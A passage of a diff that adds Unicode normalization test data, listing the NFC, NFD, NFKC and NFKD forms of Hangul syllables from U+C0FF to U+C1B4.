+{ source: [0xC0FF], NFC: [0xC0FF], NFD: [0x1109, 0x1163, 0x11C2], NFKC: [0xC0FF], NFKD: [0x1109, 0x1163, 0x11C2] },
+{ source: [0xC100], NFC: [0xC100], NFD: [0x1109, 0x1164], NFKC: [0xC100], NFKD: [0x1109, 0x1164] },
+{ source: [0xC101], NFC: [0xC101], NFD: [0x1109, 0x1164, 0x11A8], NFKC: [0xC101], NFKD: [0x1109, 0x1164, 0x11A8] },
+{ source: [0xC102], NFC: [0xC102], NFD: [0x1109, 0x1164, 0x11A9], NFKC: [0xC102], NFKD: [0x1109, 0x1164, 0x11A9] },
+{ source: [0xC103], NFC: [0xC103], NFD: [0x1109, 0x1164, 0x11AA], NFKC: [0xC103], NFKD: [0x1109, 0x1164, 0x11AA] },
+{ source: [0xC104], NFC: [0xC104], NFD: [0x1109, 0x1164, 0x11AB], NFKC: [0xC104], NFKD: [0x1109, 0x1164, 0x11AB] },
+{ source: [0xC105], NFC: [0xC105], NFD: [0x1109, 0x1164, 0x11AC], NFKC: [0xC105], NFKD: [0x1109, 0x1164, 0x11AC] },
+{ source: [0xC106], NFC: [0xC106], NFD: [0x1109, 0x1164, 0x11AD], NFKC: [0xC106], NFKD: [0x1109, 0x1164, 0x11AD] },
+{ source: [0xC107], NFC: [0xC107], NFD: [0x1109, 0x1164, 0x11AE], NFKC: [0xC107], NFKD: [0x1109, 0x1164, 0x11AE] },
+{ source: [0xC108], NFC: [0xC108], NFD: [0x1109, 0x1164, 0x11AF], NFKC: [0xC108], NFKD: [0x1109, 0x1164, 0x11AF] },
+{ source: [0xC109], NFC: [0xC109], NFD: [0x1109, 0x1164, 0x11B0], NFKC: [0xC109], NFKD: [0x1109, 0x1164, 0x11B0] },
+{ source: [0xC10A], NFC: [0xC10A], NFD: [0x1109, 0x1164, 0x11B1], NFKC: [0xC10A], NFKD: [0x1109, 0x1164, 0x11B1] },
+{ source: [0xC10B], NFC: [0xC10B], NFD: [0x1109, 0x1164, 0x11B2], NFKC: [0xC10B], NFKD: [0x1109, 0x1164, 0x11B2] },
+{ source: [0xC10C], NFC: [0xC10C], NFD: [0x1109, 0x1164, 0x11B3], NFKC: [0xC10C], NFKD: [0x1109, 0x1164, 0x11B3] },
+{ source: [0xC10D], NFC: [0xC10D], NFD: [0x1109, 0x1164, 0x11B4], NFKC: [0xC10D], NFKD: [0x1109, 0x1164, 0x11B4] },
+{ source: [0xC10E], NFC: [0xC10E], NFD: [0x1109, 0x1164, 0x11B5], NFKC: [0xC10E], NFKD: [0x1109, 0x1164, 0x11B5] },
+{ source: [0xC10F], NFC: [0xC10F], NFD: [0x1109, 0x1164, 0x11B6], NFKC: [0xC10F], NFKD: [0x1109, 0x1164, 0x11B6] },
+{ source: [0xC110], NFC: [0xC110], NFD: [0x1109, 0x1164, 0x11B7], NFKC: [0xC110], NFKD: [0x1109, 0x1164, 0x11B7] },
+{ source: [0xC111], NFC: [0xC111], NFD: [0x1109, 0x1164, 0x11B8], NFKC: [0xC111], NFKD: [0x1109, 0x1164, 0x11B8] },
+{ source: [0xC112], NFC: [0xC112], NFD: [0x1109, 0x1164, 0x11B9], NFKC: [0xC112], NFKD: [0x1109, 0x1164, 0x11B9] },
+{ source: [0xC113], NFC: [0xC113], NFD: [0x1109, 0x1164, 0x11BA], NFKC: [0xC113], NFKD: [0x1109, 0x1164, 0x11BA] },
+{ source: [0xC114], NFC: [0xC114], NFD: [0x1109, 0x1164, 0x11BB], NFKC: [0xC114], NFKD: [0x1109, 0x1164, 0x11BB] },
+{ source: [0xC115], NFC: [0xC115], NFD: [0x1109, 0x1164, 0x11BC], NFKC: [0xC115], NFKD: [0x1109, 0x1164, 0x11BC] },
+{ source: [0xC116], NFC: [0xC116], NFD: [0x1109, 0x1164, 0x11BD], NFKC: [0xC116], NFKD: [0x1109, 0x1164, 0x11BD] },
+{ source: [0xC117], NFC: [0xC117], NFD: [0x1109, 0x1164, 0x11BE], NFKC: [0xC117], NFKD: [0x1109, 0x1164, 0x11BE] },
+{ source: [0xC118], NFC: [0xC118], NFD: [0x1109, 0x1164, 0x11BF], NFKC: [0xC118], NFKD: [0x1109, 0x1164, 0x11BF] },
+{ source: [0xC119], NFC: [0xC119], NFD: [0x1109, 0x1164, 0x11C0], NFKC: [0xC119], NFKD: [0x1109, 0x1164, 0x11C0] },
+{ source: [0xC11A], NFC: [0xC11A], NFD: [0x1109, 0x1164, 0x11C1], NFKC: [0xC11A], NFKD: [0x1109, 0x1164, 0x11C1] },
+{ source: [0xC11B], NFC: [0xC11B], NFD: [0x1109, 0x1164, 0x11C2], NFKC: [0xC11B], NFKD: [0x1109, 0x1164, 0x11C2] },
+{ source: [0xC11C], NFC: [0xC11C], NFD: [0x1109, 0x1165], NFKC: [0xC11C], NFKD: [0x1109, 0x1165] },
+{ source: [0xC11D], NFC: [0xC11D], NFD: [0x1109, 0x1165, 0x11A8], NFKC: [0xC11D], NFKD: [0x1109, 0x1165, 0x11A8] },
+{ source: [0xC11E], NFC: [0xC11E], NFD: [0x1109, 0x1165, 0x11A9], NFKC: [0xC11E], NFKD: [0x1109, 0x1165, 0x11A9] },
+{ source: [0xC11F], NFC: [0xC11F], NFD: [0x1109, 0x1165, 0x11AA], NFKC: [0xC11F], NFKD: [0x1109, 0x1165, 0x11AA] },
+{ source: [0xC120], NFC: [0xC120], NFD: [0x1109, 0x1165, 0x11AB], NFKC: [0xC120], NFKD: [0x1109, 0x1165, 0x11AB] },
+{ source: [0xC121], NFC: [0xC121], NFD: [0x1109, 0x1165, 0x11AC], NFKC: [0xC121], NFKD: [0x1109, 0x1165, 0x11AC] },
+{ source: [0xC122], NFC: [0xC122], NFD: [0x1109, 0x1165, 0x11AD], NFKC: [0xC122], NFKD: [0x1109, 0x1165, 0x11AD] },
+{ source: [0xC123], NFC: [0xC123], NFD: [0x1109, 0x1165, 0x11AE], NFKC: [0xC123], NFKD: [0x1109, 0x1165, 0x11AE] },
+{ source: [0xC124], NFC: [0xC124], NFD: [0x1109, 0x1165, 0x11AF], NFKC: [0xC124], NFKD: [0x1109, 0x1165, 0x11AF] },
+{ source: [0xC125], NFC: [0xC125], NFD: [0x1109, 0x1165, 0x11B0], NFKC: [0xC125], NFKD: [0x1109, 0x1165, 0x11B0] },
+{ source: [0xC126], NFC: [0xC126], NFD: [0x1109, 0x1165, 0x11B1], NFKC: [0xC126], NFKD: [0x1109, 0x1165, 0x11B1] },
+{ source: [0xC127], NFC: [0xC127], NFD: [0x1109, 0x1165, 0x11B2], NFKC: [0xC127], NFKD: [0x1109, 0x1165, 0x11B2] },
+{ source: [0xC128], NFC: [0xC128], NFD: [0x1109, 0x1165, 0x11B3], NFKC: [0xC128], NFKD: [0x1109, 0x1165, 0x11B3] },
+{ source: [0xC129], NFC: [0xC129], NFD: [0x1109, 0x1165, 0x11B4], NFKC: [0xC129], NFKD: [0x1109, 0x1165, 0x11B4] },
+{ source: [0xC12A], NFC: [0xC12A], NFD: [0x1109, 0x1165, 0x11B5], NFKC: [0xC12A], NFKD: [0x1109, 0x1165, 0x11B5] },
+{ source: [0xC12B], NFC: [0xC12B], NFD: [0x1109, 0x1165, 0x11B6], NFKC: [0xC12B], NFKD: [0x1109, 0x1165, 0x11B6] },
+{ source: [0xC12C], NFC: [0xC12C], NFD: [0x1109, 0x1165, 0x11B7], NFKC: [0xC12C], NFKD: [0x1109, 0x1165, 0x11B7] },
+{ source: [0xC12D], NFC: [0xC12D], NFD: [0x1109, 0x1165, 0x11B8], NFKC: [0xC12D], NFKD: [0x1109, 0x1165, 0x11B8] },
+{ source: [0xC12E], NFC: [0xC12E], NFD: [0x1109, 0x1165, 0x11B9], NFKC: [0xC12E], NFKD: [0x1109, 0x1165, 0x11B9] },
+{ source: [0xC12F], NFC: [0xC12F], NFD: [0x1109, 0x1165, 0x11BA], NFKC: [0xC12F], NFKD: [0x1109, 0x1165, 0x11BA] },
+{ source: [0xC130], NFC: [0xC130], NFD: [0x1109, 0x1165, 0x11BB], NFKC: [0xC130], NFKD: [0x1109, 0x1165, 0x11BB] },
+{ source: [0xC131], NFC: [0xC131], NFD: [0x1109, 0x1165, 0x11BC], NFKC: [0xC131], NFKD: [0x1109, 0x1165, 0x11BC] },
+{ source: [0xC132], NFC: [0xC132], NFD: [0x1109, 0x1165, 0x11BD], NFKC: [0xC132], NFKD: [0x1109, 0x1165, 0x11BD] },
+{ source: [0xC133], NFC: [0xC133], NFD: [0x1109, 0x1165, 0x11BE], NFKC: [0xC133], NFKD: [0x1109, 0x1165, 0x11BE] },
+{ source: [0xC134], NFC: [0xC134], NFD: [0x1109, 0x1165, 0x11BF], NFKC: [0xC134], NFKD: [0x1109, 0x1165, 0x11BF] },
+{ source: [0xC135], NFC: [0xC135], NFD: [0x1109, 0x1165, 0x11C0], NFKC: [0xC135], NFKD: [0x1109, 0x1165, 0x11C0] },
+{ source: [0xC136], NFC: [0xC136], NFD: [0x1109, 0x1165, 0x11C1], NFKC: [0xC136], NFKD: [0x1109, 0x1165, 0x11C1] },
+{ source: [0xC137], NFC: [0xC137], NFD: [0x1109, 0x1165, 0x11C2], NFKC: [0xC137], NFKD: [0x1109, 0x1165, 0x11C2] },
+{ source: [0xC138], NFC: [0xC138], NFD: [0x1109, 0x1166], NFKC: [0xC138], NFKD: [0x1109, 0x1166] },
+{ source: [0xC139], NFC: [0xC139], NFD: [0x1109, 0x1166, 0x11A8], NFKC: [0xC139], NFKD: [0x1109, 0x1166, 0x11A8] },
+{ source: [0xC13A], NFC: [0xC13A], NFD: [0x1109, 0x1166, 0x11A9], NFKC: [0xC13A], NFKD: [0x1109, 0x1166, 0x11A9] },
+{ source: [0xC13B], NFC: [0xC13B], NFD: [0x1109, 0x1166, 0x11AA], NFKC: [0xC13B], NFKD: [0x1109, 0x1166, 0x11AA] },
+{ source: [0xC13C], NFC: [0xC13C], NFD: [0x1109, 0x1166, 0x11AB], NFKC: [0xC13C], NFKD: [0x1109, 0x1166, 0x11AB] },
+{ source: [0xC13D], NFC: [0xC13D], NFD: [0x1109, 0x1166, 0x11AC], NFKC: [0xC13D], NFKD: [0x1109, 0x1166, 0x11AC] },
+{ source: [0xC13E], NFC: [0xC13E], NFD: [0x1109, 0x1166, 0x11AD], NFKC: [0xC13E], NFKD: [0x1109, 0x1166, 0x11AD] },
+{ source: [0xC13F], NFC: [0xC13F], NFD: [0x1109, 0x1166, 0x11AE], NFKC: [0xC13F], NFKD: [0x1109, 0x1166, 0x11AE] },
+{ source: [0xC140], NFC: [0xC140], NFD: [0x1109, 0x1166, 0x11AF], NFKC: [0xC140], NFKD: [0x1109, 0x1166, 0x11AF] },
+{ source: [0xC141], NFC: [0xC141], NFD: [0x1109, 0x1166, 0x11B0], NFKC: [0xC141], NFKD: [0x1109, 0x1166, 0x11B0] },
+{ source: [0xC142], NFC: [0xC142], NFD: [0x1109, 0x1166, 0x11B1], NFKC: [0xC142], NFKD: [0x1109, 0x1166, 0x11B1] },
+{ source: [0xC143], NFC: [0xC143], NFD: [0x1109, 0x1166, 0x11B2], NFKC: [0xC143], NFKD: [0x1109, 0x1166, 0x11B2] },
+{ source: [0xC144], NFC: [0xC144], NFD: [0x1109, 0x1166, 0x11B3], NFKC: [0xC144], NFKD: [0x1109, 0x1166, 0x11B3] },
+{ source: [0xC145], NFC: [0xC145], NFD: [0x1109, 0x1166, 0x11B4], NFKC: [0xC145], NFKD: [0x1109, 0x1166, 0x11B4] },
+{ source: [0xC146], NFC: [0xC146], NFD: [0x1109, 0x1166, 0x11B5], NFKC: [0xC146], NFKD: [0x1109, 0x1166, 0x11B5] },
+{ source: [0xC147], NFC: [0xC147], NFD: [0x1109, 0x1166, 0x11B6], NFKC: [0xC147], NFKD: [0x1109, 0x1166, 0x11B6] },
+{ source: [0xC148], NFC: [0xC148], NFD: [0x1109, 0x1166, 0x11B7], NFKC: [0xC148], NFKD: [0x1109, 0x1166, 0x11B7] },
+{ source: [0xC149], NFC: [0xC149], NFD: [0x1109, 0x1166, 0x11B8], NFKC: [0xC149], NFKD: [0x1109, 0x1166, 0x11B8] },
+{ source: [0xC14A], NFC: [0xC14A], NFD: [0x1109, 0x1166, 0x11B9], NFKC: [0xC14A], NFKD: [0x1109, 0x1166, 0x11B9] },
+{ source: [0xC14B], NFC: [0xC14B], NFD: [0x1109, 0x1166, 0x11BA], NFKC: [0xC14B], NFKD: [0x1109, 0x1166, 0x11BA] },
+{ source: [0xC14C], NFC: [0xC14C], NFD: [0x1109, 0x1166, 0x11BB], NFKC: [0xC14C], NFKD: [0x1109, 0x1166, 0x11BB] },
+{ source: [0xC14D], NFC: [0xC14D], NFD: [0x1109, 0x1166, 0x11BC], NFKC: [0xC14D], NFKD: [0x1109, 0x1166, 0x11BC] },
+{ source: [0xC14E], NFC: [0xC14E], NFD: [0x1109, 0x1166, 0x11BD], NFKC: [0xC14E], NFKD: [0x1109, 0x1166, 0x11BD] },
+{ source: [0xC14F], NFC: [0xC14F], NFD: [0x1109, 0x1166, 0x11BE], NFKC: [0xC14F], NFKD: [0x1109, 0x1166, 0x11BE] },
+{ source: [0xC150], NFC: [0xC150], NFD: [0x1109, 0x1166, 0x11BF], NFKC: [0xC150], NFKD: [0x1109, 0x1166, 0x11BF] },
+{ source: [0xC151], NFC: [0xC151], NFD: [0x1109, 0x1166, 0x11C0], NFKC: [0xC151], NFKD: [0x1109, 0x1166, 0x11C0] },
+{ source: [0xC152], NFC: [0xC152], NFD: [0x1109, 0x1166, 0x11C1], NFKC: [0xC152], NFKD: [0x1109, 0x1166, 0x11C1] },
+{ source: [0xC153], NFC: [0xC153], NFD: [0x1109, 0x1166, 0x11C2], NFKC: [0xC153], NFKD: [0x1109, 0x1166, 0x11C2] },
+{ source: [0xC154], NFC: [0xC154], NFD: [0x1109, 0x1167], NFKC: [0xC154], NFKD: [0x1109, 0x1167] },
+{ source: [0xC155], NFC: [0xC155], NFD: [0x1109, 0x1167, 0x11A8], NFKC: [0xC155], NFKD: [0x1109, 0x1167, 0x11A8] },
+{ source: [0xC156], NFC: [0xC156], NFD: [0x1109, 0x1167, 0x11A9], NFKC: [0xC156], NFKD: [0x1109, 0x1167, 0x11A9] },
+{ source: [0xC157], NFC: [0xC157], NFD: [0x1109, 0x1167, 0x11AA], NFKC: [0xC157], NFKD: [0x1109, 0x1167, 0x11AA] },
+{ source: [0xC158], NFC: [0xC158], NFD: [0x1109, 0x1167, 0x11AB], NFKC: [0xC158], NFKD: [0x1109, 0x1167, 0x11AB] },
+{ source: [0xC159], NFC: [0xC159], NFD: [0x1109, 0x1167, 0x11AC], NFKC: [0xC159], NFKD: [0x1109, 0x1167, 0x11AC] },
+{ source: [0xC15A], NFC: [0xC15A], NFD: [0x1109, 0x1167, 0x11AD], NFKC: [0xC15A], NFKD: [0x1109, 0x1167, 0x11AD] },
+{ source: [0xC15B], NFC: [0xC15B], NFD: [0x1109, 0x1167, 0x11AE], NFKC: [0xC15B], NFKD: [0x1109, 0x1167, 0x11AE] },
+{ source: [0xC15C], NFC: [0xC15C], NFD: [0x1109, 0x1167, 0x11AF], NFKC: [0xC15C], NFKD: [0x1109, 0x1167, 0x11AF] },
+{ source: [0xC15D], NFC: [0xC15D], NFD: [0x1109, 0x1167, 0x11B0], NFKC: [0xC15D], NFKD: [0x1109, 0x1167, 0x11B0] },
+{ source: [0xC15E], NFC: [0xC15E], NFD: [0x1109, 0x1167, 0x11B1], NFKC: [0xC15E], NFKD: [0x1109, 0x1167, 0x11B1] },
+{ source: [0xC15F], NFC: [0xC15F], NFD: [0x1109, 0x1167, 0x11B2], NFKC: [0xC15F], NFKD: [0x1109, 0x1167, 0x11B2] },
+{ source: [0xC160], NFC: [0xC160], NFD: [0x1109, 0x1167, 0x11B3], NFKC: [0xC160], NFKD: [0x1109, 0x1167, 0x11B3] },
+{ source: [0xC161], NFC: [0xC161], NFD: [0x1109, 0x1167, 0x11B4], NFKC: [0xC161], NFKD: [0x1109, 0x1167, 0x11B4] },
+{ source: [0xC162], NFC: [0xC162], NFD: [0x1109, 0x1167, 0x11B5], NFKC: [0xC162], NFKD: [0x1109, 0x1167, 0x11B5] },
+{ source: [0xC163], NFC: [0xC163], NFD: [0x1109, 0x1167, 0x11B6], NFKC: [0xC163], NFKD: [0x1109, 0x1167, 0x11B6] },
+{ source: [0xC164], NFC: [0xC164], NFD: [0x1109, 0x1167, 0x11B7], NFKC: [0xC164], NFKD: [0x1109, 0x1167, 0x11B7] },
+{ source: [0xC165], NFC: [0xC165], NFD: [0x1109, 0x1167, 0x11B8], NFKC: [0xC165], NFKD: [0x1109, 0x1167, 0x11B8] },
+{ source: [0xC166], NFC: [0xC166], NFD: [0x1109, 0x1167, 0x11B9], NFKC: [0xC166], NFKD: [0x1109, 0x1167, 0x11B9] },
+{ source: [0xC167], NFC: [0xC167], NFD: [0x1109, 0x1167, 0x11BA], NFKC: [0xC167], NFKD: [0x1109, 0x1167, 0x11BA] },
+{ source: [0xC168], NFC: [0xC168], NFD: [0x1109, 0x1167, 0x11BB], NFKC: [0xC168], NFKD: [0x1109, 0x1167, 0x11BB] },
+{ source: [0xC169], NFC: [0xC169], NFD: [0x1109, 0x1167, 0x11BC], NFKC: [0xC169], NFKD: [0x1109, 0x1167, 0x11BC] },
+{ source: [0xC16A], NFC: [0xC16A], NFD: [0x1109, 0x1167, 0x11BD], NFKC: [0xC16A], NFKD: [0x1109, 0x1167, 0x11BD] },
+{ source: [0xC16B], NFC: [0xC16B], NFD: [0x1109, 0x1167, 0x11BE], NFKC: [0xC16B], NFKD: [0x1109, 0x1167, 0x11BE] },
+{ source: [0xC16C], NFC: [0xC16C], NFD: [0x1109, 0x1167, 0x11BF], NFKC: [0xC16C], NFKD: [0x1109, 0x1167, 0x11BF] },
+{ source: [0xC16D], NFC: [0xC16D], NFD: [0x1109, 0x1167, 0x11C0], NFKC: [0xC16D], NFKD: [0x1109, 0x1167, 0x11C0] },
+{ source: [0xC16E], NFC: [0xC16E], NFD: [0x1109, 0x1167, 0x11C1], NFKC: [0xC16E], NFKD: [0x1109, 0x1167, 0x11C1] },
+{ source: [0xC16F], NFC: [0xC16F], NFD: [0x1109, 0x1167, 0x11C2], NFKC: [0xC16F], NFKD: [0x1109, 0x1167, 0x11C2] },
+{ source: [0xC170], NFC: [0xC170], NFD: [0x1109, 0x1168], NFKC: [0xC170], NFKD: [0x1109, 0x1168] },
+{ source: [0xC171], NFC: [0xC171], NFD: [0x1109, 0x1168, 0x11A8], NFKC: [0xC171], NFKD: [0x1109, 0x1168, 0x11A8] },
+{ source: [0xC172], NFC: [0xC172], NFD: [0x1109, 0x1168, 0x11A9], NFKC: [0xC172], NFKD: [0x1109, 0x1168, 0x11A9] },
+{ source: [0xC173], NFC: [0xC173], NFD: [0x1109, 0x1168, 0x11AA], NFKC: [0xC173], NFKD: [0x1109, 0x1168, 0x11AA] },
+{ source: [0xC174], NFC: [0xC174], NFD: [0x1109, 0x1168, 0x11AB], NFKC: [0xC174], NFKD: [0x1109, 0x1168, 0x11AB] },
+{ source: [0xC175], NFC: [0xC175], NFD: [0x1109, 0x1168, 0x11AC], NFKC: [0xC175], NFKD: [0x1109, 0x1168, 0x11AC] },
+{ source: [0xC176], NFC: [0xC176], NFD: [0x1109, 0x1168, 0x11AD], NFKC: [0xC176], NFKD: [0x1109, 0x1168, 0x11AD] },
+{ source: [0xC177], NFC: [0xC177], NFD: [0x1109, 0x1168, 0x11AE], NFKC: [0xC177], NFKD: [0x1109, 0x1168, 0x11AE] },
+{ source: [0xC178], NFC: [0xC178], NFD: [0x1109, 0x1168, 0x11AF], NFKC: [0xC178], NFKD: [0x1109, 0x1168, 0x11AF] },
+{ source: [0xC179], NFC: [0xC179], NFD: [0x1109, 0x1168, 0x11B0], NFKC: [0xC179], NFKD: [0x1109, 0x1168, 0x11B0] },
+{ source: [0xC17A], NFC: [0xC17A], NFD: [0x1109, 0x1168, 0x11B1], NFKC: [0xC17A], NFKD: [0x1109, 0x1168, 0x11B1] },
+{ source: [0xC17B], NFC: [0xC17B], NFD: [0x1109, 0x1168, 0x11B2], NFKC: [0xC17B], NFKD: [0x1109, 0x1168, 0x11B2] },
+{ source: [0xC17C], NFC: [0xC17C], NFD: [0x1109, 0x1168, 0x11B3], NFKC: [0xC17C], NFKD: [0x1109, 0x1168, 0x11B3] },
+{ source: [0xC17D], NFC: [0xC17D], NFD: [0x1109, 0x1168, 0x11B4], NFKC: [0xC17D], NFKD: [0x1109, 0x1168, 0x11B4] },
+{ source: [0xC17E], NFC: [0xC17E], NFD: [0x1109, 0x1168, 0x11B5], NFKC: [0xC17E], NFKD: [0x1109, 0x1168, 0x11B5] },
+{ source: [0xC17F], NFC: [0xC17F], NFD: [0x1109, 0x1168, 0x11B6], NFKC: [0xC17F], NFKD: [0x1109, 0x1168, 0x11B6] },
+{ source: [0xC180], NFC: [0xC180], NFD: [0x1109, 0x1168, 0x11B7], NFKC: [0xC180], NFKD: [0x1109, 0x1168, 0x11B7] },
+{ source: [0xC181], NFC: [0xC181], NFD: [0x1109, 0x1168, 0x11B8], NFKC: [0xC181], NFKD: [0x1109, 0x1168, 0x11B8] },
+{ source: [0xC182], NFC: [0xC182], NFD: [0x1109, 0x1168, 0x11B9], NFKC: [0xC182], NFKD: [0x1109, 0x1168, 0x11B9] },
+{ source: [0xC183], NFC: [0xC183], NFD: [0x1109, 0x1168, 0x11BA], NFKC: [0xC183], NFKD: [0x1109, 0x1168, 0x11BA] },
+{ source: [0xC184], NFC: [0xC184], NFD: [0x1109, 0x1168, 0x11BB], NFKC: [0xC184], NFKD: [0x1109, 0x1168, 0x11BB] },
+{ source: [0xC185], NFC: [0xC185], NFD: [0x1109, 0x1168, 0x11BC], NFKC: [0xC185], NFKD: [0x1109, 0x1168, 0x11BC] },
+{ source: [0xC186], NFC: [0xC186], NFD: [0x1109, 0x1168, 0x11BD], NFKC: [0xC186], NFKD: [0x1109, 0x1168, 0x11BD] },
+{ source: [0xC187], NFC: [0xC187], NFD: [0x1109, 0x1168, 0x11BE], NFKC: [0xC187], NFKD: [0x1109, 0x1168, 0x11BE] },
+{ source: [0xC188], NFC: [0xC188], NFD: [0x1109, 0x1168, 0x11BF], NFKC: [0xC188], NFKD: [0x1109, 0x1168, 0x11BF] },
+{ source: [0xC189], NFC: [0xC189], NFD: [0x1109, 0x1168, 0x11C0], NFKC: [0xC189], NFKD: [0x1109, 0x1168, 0x11C0] },
+{ source: [0xC18A], NFC: [0xC18A], NFD: [0x1109, 0x1168, 0x11C1], NFKC: [0xC18A], NFKD: [0x1109, 0x1168, 0x11C1] },
+{ source: [0xC18B], NFC: [0xC18B], NFD: [0x1109, 0x1168, 0x11C2], NFKC: [0xC18B], NFKD: [0x1109, 0x1168, 0x11C2] },
+{ source: [0xC18C], NFC: [0xC18C], NFD: [0x1109, 0x1169], NFKC: [0xC18C], NFKD: [0x1109, 0x1169] },
+{ source: [0xC18D], NFC: [0xC18D], NFD: [0x1109, 0x1169, 0x11A8], NFKC: [0xC18D], NFKD: [0x1109, 0x1169, 0x11A8] },
+{ source: [0xC18E], NFC: [0xC18E], NFD: [0x1109, 0x1169, 0x11A9], NFKC: [0xC18E], NFKD: [0x1109, 0x1169, 0x11A9] },
+{ source: [0xC18F], NFC: [0xC18F], NFD: [0x1109, 0x1169, 0x11AA], NFKC: [0xC18F], NFKD: [0x1109, 0x1169, 0x11AA] },
+{ source: [0xC190], NFC: [0xC190], NFD: [0x1109, 0x1169, 0x11AB], NFKC: [0xC190], NFKD: [0x1109, 0x1169, 0x11AB] },
+{ source: [0xC191], NFC: [0xC191], NFD: [0x1109, 0x1169, 0x11AC], NFKC: [0xC191], NFKD: [0x1109, 0x1169, 0x11AC] },
+{ source: [0xC192], NFC: [0xC192], NFD: [0x1109, 0x1169, 0x11AD], NFKC: [0xC192], NFKD: [0x1109, 0x1169, 0x11AD] },
+{ source: [0xC193], NFC: [0xC193], NFD: [0x1109, 0x1169, 0x11AE], NFKC: [0xC193], NFKD: [0x1109, 0x1169, 0x11AE] },
+{ source: [0xC194], NFC: [0xC194], NFD: [0x1109, 0x1169, 0x11AF], NFKC: [0xC194], NFKD: [0x1109, 0x1169, 0x11AF] },
+{ source: [0xC195], NFC: [0xC195], NFD: [0x1109, 0x1169, 0x11B0], NFKC: [0xC195], NFKD: [0x1109, 0x1169, 0x11B0] },
+{ source: [0xC196], NFC: [0xC196], NFD: [0x1109, 0x1169, 0x11B1], NFKC: [0xC196], NFKD: [0x1109, 0x1169, 0x11B1] },
+{ source: [0xC197], NFC: [0xC197], NFD: [0x1109, 0x1169, 0x11B2], NFKC: [0xC197], NFKD: [0x1109, 0x1169, 0x11B2] },
+{ source: [0xC198], NFC: [0xC198], NFD: [0x1109, 0x1169, 0x11B3], NFKC: [0xC198], NFKD: [0x1109, 0x1169, 0x11B3] },
+{ source: [0xC199], NFC: [0xC199], NFD: [0x1109, 0x1169, 0x11B4], NFKC: [0xC199], NFKD: [0x1109, 0x1169, 0x11B4] },
+{ source: [0xC19A], NFC: [0xC19A], NFD: [0x1109, 0x1169, 0x11B5], NFKC: [0xC19A], NFKD: [0x1109, 0x1169, 0x11B5] },
+{ source: [0xC19B], NFC: [0xC19B], NFD: [0x1109, 0x1169, 0x11B6], NFKC: [0xC19B], NFKD: [0x1109, 0x1169, 0x11B6] },
+{ source: [0xC19C], NFC: [0xC19C], NFD: [0x1109, 0x1169, 0x11B7], NFKC: [0xC19C], NFKD: [0x1109, 0x1169, 0x11B7] },
+{ source: [0xC19D], NFC: [0xC19D], NFD: [0x1109, 0x1169, 0x11B8], NFKC: [0xC19D], NFKD: [0x1109, 0x1169, 0x11B8] },
+{ source: [0xC19E], NFC: [0xC19E], NFD: [0x1109, 0x1169, 0x11B9], NFKC: [0xC19E], NFKD: [0x1109, 0x1169, 0x11B9] },
+{ source: [0xC19F], NFC: [0xC19F], NFD: [0x1109, 0x1169, 0x11BA], NFKC: [0xC19F], NFKD: [0x1109, 0x1169, 0x11BA] },
+{ source: [0xC1A0], NFC: [0xC1A0], NFD: [0x1109, 0x1169, 0x11BB], NFKC: [0xC1A0], NFKD: [0x1109, 0x1169, 0x11BB] },
+{ source: [0xC1A1], NFC: [0xC1A1], NFD: [0x1109, 0x1169, 0x11BC], NFKC: [0xC1A1], NFKD: [0x1109, 0x1169, 0x11BC] },
+{ source: [0xC1A2], NFC: [0xC1A2], NFD: [0x1109, 0x1169, 0x11BD], NFKC: [0xC1A2], NFKD: [0x1109, 0x1169, 0x11BD] },
+{ source: [0xC1A3], NFC: [0xC1A3], NFD: [0x1109, 0x1169, 0x11BE], NFKC: [0xC1A3], NFKD: [0x1109, 0x1169, 0x11BE] },
+{ source: [0xC1A4], NFC: [0xC1A4], NFD: [0x1109, 0x1169, 0x11BF], NFKC: [0xC1A4], NFKD: [0x1109, 0x1169, 0x11BF] },
+{ source: [0xC1A5], NFC: [0xC1A5], NFD: [0x1109, 0x1169, 0x11C0], NFKC: [0xC1A5], NFKD: [0x1109, 0x1169, 0x11C0] },
+{ source: [0xC1A6], NFC: [0xC1A6], NFD: [0x1109, 0x1169, 0x11C1], NFKC: [0xC1A6], NFKD: [0x1109, 0x1169, 0x11C1] },
+{ source: [0xC1A7], NFC: [0xC1A7], NFD: [0x1109, 0x1169, 0x11C2], NFKC: [0xC1A7], NFKD: [0x1109, 0x1169, 0x11C2] },
+{ source: [0xC1A8], NFC: [0xC1A8], NFD: [0x1109, 0x116A], NFKC: [0xC1A8], NFKD: [0x1109, 0x116A] },
+{ source: [0xC1A9], NFC: [0xC1A9], NFD: [0x1109, 0x116A, 0x11A8], NFKC: [0xC1A9], NFKD: [0x1109, 0x116A, 0x11A8] },
+{ source: [0xC1AA], NFC: [0xC1AA], NFD: [0x1109, 0x116A, 0x11A9], NFKC: [0xC1AA], NFKD: [0x1109, 0x116A, 0x11A9] },
+{ source: [0xC1AB], NFC: [0xC1AB], NFD: [0x1109, 0x116A, 0x11AA], NFKC: [0xC1AB], NFKD: [0x1109, 0x116A, 0x11AA] },
+{ source: [0xC1AC], NFC: [0xC1AC], NFD: [0x1109, 0x116A, 0x11AB], NFKC: [0xC1AC], NFKD: [0x1109, 0x116A, 0x11AB] },
+{ source: [0xC1AD], NFC: [0xC1AD], NFD: [0x1109, 0x116A, 0x11AC], NFKC: [0xC1AD], NFKD: [0x1109, 0x116A, 0x11AC] },
+{ source: [0xC1AE], NFC: [0xC1AE], NFD: [0x1109, 0x116A, 0x11AD], NFKC: [0xC1AE], NFKD: [0x1109, 0x116A, 0x11AD] },
+{ source: [0xC1AF], NFC: [0xC1AF], NFD: [0x1109, 0x116A, 0x11AE], NFKC: [0xC1AF], NFKD: [0x1109, 0x116A, 0x11AE] },
+{ source: [0xC1B0], NFC: [0xC1B0], NFD: [0x1109, 0x116A, 0x11AF], NFKC: [0xC1B0], NFKD: [0x1109, 0x116A, 0x11AF] },
+{ source: [0xC1B1], NFC: [0xC1B1], NFD: [0x1109, 0x116A, 0x11B0], NFKC: [0xC1B1], NFKD: [0x1109, 0x116A, 0x11B0] },
+{ source: [0xC1B2], NFC: [0xC1B2], NFD: [0x1109, 0x116A, 0x11B1], NFKC: [0xC1B2], NFKD: [0x1109, 0x116A, 0x11B1] },
+{ source: [0xC1B3], NFC: [0xC1B3], NFD: [0x1109, 0x116A, 0x11B2], NFKC: [0xC1B3], NFKD: [0x1109, 0x116A, 0x11B2] },
+{ source: [0xC1B4], NFC: [0xC1B4], NFD: [0x1109, 0x116A, 0x11B3], NFKC: [0xC1B4], NFKD: [0x1109, 0x116A, 0x11B3] },
